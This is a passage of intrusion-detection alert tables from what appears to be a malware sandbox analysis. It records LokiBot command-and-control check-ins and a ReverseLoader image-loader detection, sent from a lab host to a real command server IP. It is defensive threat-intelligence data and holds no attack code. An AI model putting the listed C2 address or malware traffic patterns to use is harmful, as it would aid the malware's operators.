2024-10-30T07:54:46.916793+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:48.348414+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:49.456059+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:50.561172+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:51.680376+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:52.807099+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:54.096219+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:55.452783+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:56.572761+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:57.691637+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:59.011834+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:55:00.108961+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:01.334747+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:02.464960+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:03.569426+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:04.850062+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:05.940070+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:07.713114+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:09.811243+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:12.419422+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:13.535615+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:53.836549+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:53:43.865114+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:45.012542+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:46.386961+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:47.577321+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:49.526232+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:50.688405+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:51.846047+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:52.989036+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:54.140609+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:55.294228+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:56.479757+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:57.576318+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:58.678323+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:54:00.057819+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:01.168690+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:02.343133+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:03.472871+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:05.858768+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:06.964364+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:08.369666+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:09.713887+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:10.864890+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:11.983571+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:13.238037+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:14.375598+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:15.478401+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:16.571399+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:17.854785+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:19.013856+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:20.394945+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:21.946849+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:23.266496+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:24.857583+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:25.983435+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:27.211983+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:28.301473+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:29.421348+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:30.992521+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:32.463838+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:33.733981+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:34.864691+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:36.062787+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:37.198254+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:38.366247+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:39.625166+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:40.726653+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:42.947069+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:44.296491+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:45.815255+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:46.916793+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:48.348414+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:49.456059+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:50.561172+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:51.680376+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:52.807099+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:54.096219+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:55.452783+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:56.572761+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:57.691637+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:59.011834+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:55:00.108961+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:01.334747+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:02.464960+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:03.569426+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:04.850062+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:05.940070+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:07.713114+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:09.811243+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:12.419422+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:13.535615+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:40.571720+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:44.056556+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.417575+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.634814+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:48.536668+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.726273+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.884888+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:52.061620+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:53.184557+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.279646+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.512451+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.618452+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.725696+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:59.101107+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.206573+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.346182+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.497379+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:04.902816+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:06.016439+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:07.406668+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.745394+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.865003+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:11.029182+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:12.297226+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.413593+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.527346+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.621149+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:16.894512+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:18.011948+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.450764+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.968954+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:22.267449+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.906512+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:25.024863+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:26.262724+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.352626+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.450793+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:30.003997+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:31.512150+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.777147+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.910258+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:35.104496+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.241427+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.380092+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.504154+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.768035+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.970510+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:43.092820+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.866333+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.965599+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:47.068516+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.492840+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.597654+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.712548+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.830442+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:53.132501+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.482154+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.615666+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.734017+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-30T07:54:58.050613+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:59.161756+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.387616+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.484369+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.605268+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.720869+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:05.005930+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:06.090491+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.898649+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:10.868307+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.567039+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.703023+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49250	94.156.177.220	80	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:23.995703+0100	2049038	1	A Network Trojan was detected	142.250.185.97	443	192.168.2.22	49172	TCP
2024-10-30T07:53:40.610748+0100	2049038	1	A Network Trojan was detected	142.250.185.97	443	192.168.2.22	49174	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:40.571720+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:44.056556+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.417575+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.634814+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:48.536668+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.726273+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.884888+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:52.061620+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:53.184557+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.279646+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.512451+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.618452+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.725696+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:59.101107+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.206573+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.346182+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.497379+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:04.902816+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:06.016439+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:07.406668+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.745394+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.865003+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:11.029182+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:12.297226+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.413593+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.527346+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.621149+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:16.894512+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-30T07:54:18.011948+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-30T07:54:19.450764+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-30T07:54:20.968954+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-30T07:54:22.267449+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-30T07:54:23.906512+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-30T07:54:25.024863+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-30T07:54:26.262724+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-30T07:54:27.352626+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-30T07:54:28.450793+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-30T07:54:30.003997+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-30T07:54:31.512150+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-30T07:54:32.777147+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-30T07:54:33.910258+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-30T07:54:35.104496+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-30T07:54:36.241427+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-30T07:54:37.380092+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-30T07:54:38.504154+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-30T07:54:39.768035+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-30T07:54:41.819719+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-30T07:54:41.970510+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-30T07:54:43.092820+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-30T07:54:44.866333+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-30T07:54:45.965599+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-30T07:54:47.068516+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-30T07:54:48.492840+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-30T07:54:49.597654+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-30T07:54:50.712548+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-30T07:54:51.830442+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-30T07:54:53.132501+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-30T07:54:54.482154+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-30T07:54:55.615666+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-30T07:54:56.734017+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
